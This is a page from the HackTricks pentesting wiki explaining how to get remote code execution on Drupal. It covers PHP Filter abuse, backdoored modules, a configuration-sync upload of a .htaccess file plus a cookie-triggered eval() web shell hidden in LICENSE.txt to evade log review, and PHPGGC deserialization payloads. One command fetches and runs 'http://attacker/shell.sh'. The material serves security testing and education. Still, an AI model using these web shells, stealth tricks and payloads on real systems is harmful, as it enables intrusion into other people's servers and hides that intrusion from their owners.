drupal-rce.md (14613B)
1 --- 2 title: "Drupal RCE" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-web/drupal/drupal-rce.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/drupal/drupal-rce.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Drupal RCE 14 15 ## With PHP Filter Module 16 17 > [!WARNING] 18 > In older versions of Drupal **(before version 8)**, it was possible to log in as an admin and **enable the `PHP filter` module**, which "Allows embedded PHP code/snippets to be evaluated." But from version 8 this module is not installed by default. 19 20 1. Request **`/modules/php`**. A `403` response can indicate that the PHP Filter module exists but directory listing is denied. 21 1. If necessary and authorized, open `Modules`, enable `PHP Filter`, and select `Save configuration`. 22 2. Select `Add content`, choose `Basic Page` or `Article`, enter the **PHP backdoor**, choose `PHP code` as the text format, and select `Preview`. 23 3. Trigger it by requesting the newly created node: 24 25 ```bash 26 curl http://drupal.local/node/3 27 ``` 28 29 > [!WARNING] 30 > The two module-installation techniques below apply to older or explicitly enabled administrative workflows. Current Drupal installations do not allow module installation solely through the web interface after the default installation. 31 32 ## Install PHP Filter Module 33 34 From version **8 onward, the** [**PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **module is not installed by default**. Leveraging this functionality therefore requires installing the module. 35 36 1. Download the most recent version of the module from the Drupal website. 37 1. `wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz` 38 2. Once downloaded go to **`Administration`** > **`Reports`** > **`Available updates`**. 39 3. Click on **`Browse`**, select the file from the directory we downloaded it to, and then click **`Install`**. 40 4. Once the module is installed, we can click on **`Content`** and **create a new basic page**, similar to how we did in the Drupal 7 example. Again, be sure to **select `PHP code` from the `Text format` dropdown**. 41 42 ## Backdoored Module 43 44 It was possible to **download a module**, add a **backdoor**, and **install** the modified package. For example, download the [**Turnstile**](https://www.drupal.org/project/turnstile) module as an archive, add a PHP backdoor, and use `.htaccess` to permit direct access to the PHP file: 45 46 ```html 47 <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / </IfModule> 48 ``` 49 50 And then going to **`http://drupal.local/admin/modules/install`** to install the backdoored module and access **`/modules/turnstile/back.php`** to execute it. 51 52 ## Backdooring Drupal with Configuration synchronization <a href="#backdooring-drupal" id="backdooring-drupal"></a> 53 54 **Post shared by** [**Coiffeur0x90**](https://twitter.com/Coiffeur0x90)<sup>[[1]](#references)</sup> 55 56 ### Part 1 (activation of _Media_ and _Media Library_) 57 58 In the _Extend_ menu (`/admin/modules`), activate installed modules. If _Media_ and _Media Library_ are disabled, enable them. 59 60 Before activation: 61 62 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%284%29%20%281%29%20%281%29%20%281%29%20%281%29.png" alt=""><figcaption></figcaption></figure> 63 64 After activation: 65 66 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29.png" alt=""><figcaption></figcaption></figure> 67 68 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%282%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29.png" alt=""><figcaption></figcaption></figure> 69 70 ### Part 2 (leveraging feature _Configuration synchronization_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a> 71 72 We’ll leverage the _Configuration synchronization_ feature to dump (export) and upload (import) Drupal configuration entries: 73 74 - /admin/config/development/configuration/single/export 75 - /admin/config/development/configuration/single/import 76 77 **Patch system.file.yml** 78 79 Let’s start by patching the first entry `allow_insecure_uploads` from: 80 81 File: system.file.yml 82 83 ```text 84 85 ... 86 87 allow_insecure_uploads: false 88 89 ... 90 91 ``` 92 93 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%283%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29.png" alt=""><figcaption></figcaption></figure> 94 95 To: 96 97 File: system.file.yml 98 99 ```text 100 101 ... 102 103 allow_insecure_uploads: true 104 105 ... 106 107 ``` 108 109 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%284%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29.png" alt=""><figcaption></figcaption></figure> 110 111 **Patch field.field.media.document.field_media_document.yml** 112 113 Then, patch the second entry `file_extensions` from: 114 115 File: field.field.media.document.field_media_document.yml 116 117 ```text 118 119 ... 120 121 file_directory: '[date:custom:Y]-[date:custom:m]' 122 file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages' 123 124 ... 125 ``` 126 127 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%285%29%20%281%29%20%281%29%20%281%29.png" alt=""><figcaption></figcaption></figure> 128 129 To: 130 131 File: field.field.media.document.field_media_document.yml 132 133 ```text 134 ... 135 136 file_directory: '[date:custom:Y]-[date:custom:m]' 137 file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages' 138 139 ... 140 141 ``` 142 143 > The original blog post does not use it, but notes that an arbitrary `file_directory` value may enable path traversal within the Drupal filesystem tree. 144 145 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%286%29%20%281%29%20%281%29%20%281%29.png" alt=""><figcaption></figcaption></figure> 146 147 ### Part 3 (leveraging feature _Add Document_) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a> 148 149 The last step has two parts: upload an `.htaccess` file whose Apache directives make `.txt` files execute through PHP, then upload a `.txt` file containing the payload. 150 151 File: .htaccess 152 153 ```text 154 <Files *> 155 SetHandler application/x-httpd-php 156 </Files> 157 158 # Vroum! Vroum! 159 # We reactivate PHP engines for all versions in order to be targetless. 160 <IfModule mod_php.c> 161 php_flag engine on 162 </IfModule> 163 <IfModule mod_php7.c> 164 php_flag engine on 165 </IfModule> 166 <IfModule mod_php5.c> 167 php_flag engine on 168 </IfModule> 169 ``` 170 171 Why is this trick cool? 172 173 Once the web shell (named `LICENSE.txt`) is on the server, commands can be supplied through `$_COOKIE`; the access log then resembles a normal `GET` request for a text file. 174 175 Why name our Webshell LICENSE.txt? 176 177 Drupal core already contains a comparatively large [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt), so a small PHP snippet inserted into a copied license file is less conspicuous during a superficial review. 178 179 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%287%29%20%281%29%20%281%29%20%281%29.png" alt=""><figcaption></figcaption></figure> 180 181 File: Patched LICENSE.txt 182 183 ```text 184 185 ... 186 187 this License, you may choose any version ever published by the Free Software 188 Foundation. 189 190 <?php 191 192 # We inject our payload into the cookies so that in the logs of the compromised 193 # server it shows up as having been requested via the GET method, in order to 194 # avoid raising suspicions. 195 if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) { 196 if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) { 197 eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]); 198 } else { 199 phpinfo(); 200 } 201 } 202 203 ?> 204 205 10. If you wish to incorporate parts of the Program into other free 206 programs whose distribution conditions are different, write to the author 207 208 ... 209 210 ``` 211 212 #### **Part 3.1 (upload file .htaccess)** 213 214 First, we leverage the _Add Document_ (/media/add/document) feature to upload our file containing the Apache directives (.htaccess). 215 216 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%288%29%20%281%29%20%281%29%20%281%29.png" alt=""><figcaption></figcaption></figure> 217 218 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%289%29%20%281%29%20%281%29%20%281%29.png" alt=""><figcaption></figcaption></figure> 219 220 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%2810%29%20%281%29%20%281%29%20%281%29.png" alt=""><figcaption></figcaption></figure> 221 222 **Part 3.2 (upload file LICENSE.txt)** 223 224 Then, we leverage the _Add Document_ (/media/add/document) feature again to upload a Webshell hidden within a license file. 225 226 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%2811%29%20%281%29.png" alt=""><figcaption></figcaption></figure> 227 228 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%2812%29%20%281%29.png" alt=""><figcaption></figcaption></figure> 229 230 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%2813%29%20%281%29.png" alt=""><figcaption></figcaption></figure> 231 232 ### Part 4 (interaction with the Webshell) <a href="#part-4-interaction-with-the-webshell" id="part-4-interaction-with-the-webshell"></a> 233 234 The last part consists of interacting with the Webshell. 235 236 As shown in the following screenshot, if the cookie expected by our Webshell is not defined, we get the subsequent result when consulting the file via a Web browser. 237 238 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%2814%29%20%281%29.png" alt=""><figcaption></figcaption></figure> 239 240 When the attacker sets the cookie, they can interact with the web shell and execute commands. 241 242 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%2815%29%20%281%29.png" alt=""><figcaption></figcaption></figure> 243 244 In the access logs, the request appears to target only a `.txt` file. 245 246 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%2816%29%20%281%29.png" alt=""><figcaption></figcaption></figure> 247 248 Thank you for taking the time to read this article, I hope it will help you get some shells. 249 250 ## Drupal core gadget chain (SA-CORE-2024-007 / SA-CORE-2024-008) 251 252 Two advisories published **20 Nov 2024** (CVE-2024-55637 & CVE-2024-55638) describe new **PHP object gadget chains in Drupal core** (7.0–7.101, 8.x, 10.2.0–10.2.10, 10.3.0–10.3.8, early 11.x). They are **not directly exploitable** but give attackers a ready-made chain once any contrib/module performs `unserialize()` on user input.<sup>[[2]](#references)[[3]](#references)</sup> 253 254 Practical exploitation workflow: 255 256 1. **Find the unserialize sink** (contrib module or custom code). Grep codebase for `unserialize(` or `Drupal\Component\Serialization\PhpSerialize::decode`. Target endpoints that accept POST/JSON or configuration imports. 257 2. **Generate a payload** using the vulnerable class path that matches the gadget chain. After SA-CORE-2024-008, the public chain was added to common payload generators. Example with PHPGGC (commit ≥ Dec 2024): 258 259 ```bash 260 ./phpggc drupal/rce2 system 'id' > payload.ser 261 ``` 262 263 3. **Deliver the serialized blob** to the sink (e.g., parameter that gets deserialized). For a form-encoded body: 264 265 ```bash 266 curl -X POST https://target/admin/config/some/module \ 267 -d "serialized_setting=$(cat payload.ser)" 268 ``` 269 270 4. **Trigger destruction** (often automatic at end of request) and execute the command. 271 272 Notes for testing: 273 274 - Gadget works only on versions **prior to 10.2.11 / 10.3.9 / 7.102** (patched). Verify target version via `/core/lib/Drupal.php` or `CHANGELOG.txt`. 275 - Third‑party DB drivers may need extra hardening; look for deployments that skipped the security update window. 276 277 ## Recent contrib-module unsafe deserialization → RCE 278 279 Several contributed modules fixed insecure `unserialize()` paths in late 2024. If a site is missing these updates, they may provide the exploitable sink required by the core gadget chain: 280 281 - **Mailjet** (<4.0.1, CVE-2024-13296): admin-controlled data passed to `unserialize()`, enabling **PHP Object Injection → RCE** when chained with the core gadgets.<sup>[[4]](#references)</sup> 282 - **Eloqua** (7.x-1.x < 1.15, CVE-2024-13297): similar unsafe `unserialize()` usage reachable by users with `access administration pages`.<sup>[[5]](#references)</sup> 283 284 Testing idea (authenticated): 285 286 ```bash 287 phpggc drupal/rce2 system 'bash -c "curl http://attacker/shell.sh|sh"' > p.ser 288 curl -b session=ADMINCOOKIE \ 289 -F "import=@p.ser" https://target/admin/config/eloqua/import 290 ``` 291 292 If the module deserializes the uploaded data, the gadget chain yields RCE. Combine with XSS/CSRF to steal admin cookies for a full attack chain. 293 294 ## References 295 296 - [1] [B19: How to backdoor Drupal (new versions) like a bro](https://therealcoiffeur.com/b19.html) 297 - [2] [Drupal core – gadget chain – SA-CORE-2024-007](https://www.drupal.org/sa-core-2024-007) 298 - [3] [Drupal core – gadget chain – SA-CORE-2024-008](https://www.drupal.org/sa-core-2024-008) 299 - [4] [Mailjet module – arbitrary PHP code execution – SA-CONTRIB-2024-062](https://www.drupal.org/sa-contrib-2024-062) 300 - [5] [Eloqua module – arbitrary PHP code execution – SA-CONTRIB-2024-063](https://www.drupal.org/sa-contrib-2024-063)